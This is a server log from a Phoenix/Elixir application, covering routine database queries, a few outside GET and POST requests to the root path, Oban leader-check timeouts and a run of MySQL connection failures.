[Thu Sep  3 00:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1776.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 00:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1743.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 00:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1727.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 00:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1714.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 00:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1683.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 00:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1513.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 01:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1485.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 01:13:46.890000 2026] [Bandit.InitialHandler:warn] [pid 2816631] [client -] Connection that looks like TLS received on a clear channel
[Thu Sep  3 01:13:57.471000 2026] [Phoenix.Logger:info] [pid 2816631] [client 47.250.83.23:31450] GET /
[Thu Sep  3 01:13:57.472000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 47.250.83.23:31450] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 01:13:57.472000 2026] [Phoenix.Logger:info] [pid 2816631] [client 47.250.83.23:31450] Sent 200 in 1ms
[Thu Sep  3 01:13:58.081000 2026] [Phoenix.Logger:info] [pid 2816631] [client 47.250.83.23:31452] GET /
[Thu Sep  3 01:13:58.081000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 47.250.83.23:31452] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 01:13:58.081000 2026] [Phoenix.Logger:info] [pid 2816631] [client 47.250.83.23:31452] Sent 200 in 814µs
[Thu Sep  3 01:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1465.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 01:18:41.378000 2026] [Phoenix.Logger:info] [pid 2816631] [client 111.7.96.163:59174] GET /
[Thu Sep  3 01:18:41.379000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 111.7.96.163:59174] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 01:18:41.379000 2026] [Phoenix.Logger:info] [pid 2816631] [client 111.7.96.163:59174] Sent 200 in 1ms
[Thu Sep  3 01:18:42.191000 2026] [Phoenix.Logger:info] [pid 2816631] [client 47.251.88.238:4402] GET /
[Thu Sep  3 01:18:42.191000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 47.251.88.238:4402] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 01:18:42.192000 2026] [Phoenix.Logger:info] [pid 2816631] [client 47.251.88.238:4402] Sent 200 in 1ms
[Thu Sep  3 01:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1443.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 01:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1431.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 01:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1409.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 01:56:24.705000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1375.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 02:00:00.501000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=116.2ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 02:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 02:00:00.502000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=1.7ms idle=116.1ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 02:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 02:00:00.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=310.3ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 02:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 02:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1353.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 02:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1326.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 02:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1304.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 02:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1280.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 02:43:42.740000 2026] [Phoenix.Logger:info] [pid 2816631] [client 94.154.43.249:38558] POST /
[Thu Sep  3 02:43:42.757000 2026] [Plug.Debugger:debug] [pid 2816631] [client 94.154.43.249:38558] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 02:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1258.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 02:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1227.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 03:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.8ms idle=1208.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 03:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1175.9ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 03:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms queue=0.1ms idle=1146.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 03:29:04.007000 2026] [Phoenix.Logger:info] [pid 2816631] [client 94.154.43.249:38248] POST /
[Thu Sep  3 03:29:04.077000 2026] [Plug.Debugger:debug] [pid 2816631] [client 94.154.43.249:38248] ** (Phoenix.Router.NoRouteError) no route found for POST / (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 03:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1123.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 03:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1091.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 03:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1059.2ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 04:00:00.974000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.8ms idle=1326.0ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 04:00:00Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 04:00:01.186000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="report_requests" db=0.5ms idle=537.6ms
SELECT r0.`id`, r0.`report_id`, r0.`report_type`, r0.`requester_ref`, r0.`filters`, r0.`status`, r0.`progress_percentage`, r0.`row_count`, r0.`file_path`, r0.`file_size`, r0.`download_token`, r0.`download_count`, r0.`last_downloaded_at`, r0.`error_message`, r0.`expires_at`, r0.`completed_at`, r0.`inserted_at`, r0.`updated_at` FROM `report_requests` AS r0 WHERE (NOT (r0.`expires_at` IS NULL) AND (r0.`expires_at` < ?)) [~U[2026-09-03 04:00:01Z]]
↳ DaProductApp.Workers.ReportRetentionWorker.perform/1, at: lib/da_product_app/workers/report_retention_worker.ex:18
[Thu Sep  3 04:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1034.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 04:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.4ms idle=1002.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 04:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1973.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 04:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1947.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 04:36:52.598000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.97:38893] GET /
[Thu Sep  3 04:36:52.598000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 195.96.139.97:38893] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 04:36:52.599000 2026] [Phoenix.Logger:info] [pid 2816631] [client 195.96.139.97:38893] Sent 200 in 1ms
[Thu Sep  3 04:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1822.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 04:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.7ms idle=1768.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 04:56:45.593000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 04:56:50.594000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 04:57:56.409000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 04:57:56.515000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 04:58:01.517000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 04:58:05.056000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 04:58:06.261000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 05:01:21.050000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:01:59.451000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:02:01.693000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:06:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1624.5ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 05:16:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.5ms idle=1534.7ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 05:20:11.749000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:21:31.159000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:22:06.451000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Thu Sep  3 05:26:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1410.3ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 05:36:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.9ms idle=1309.8ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Thu Sep  3 05:41:18.468000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.597.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.603.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.478000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.600.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.604.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.480000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.601.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.479000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.602.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.561000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.726000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) disconnected: ** (DBConnection.ConnectionError) socket closed
[Thu Sep  3 05:41:18.728000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
[Thu Sep  3 05:41:18.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) connection refused - :econnrefused
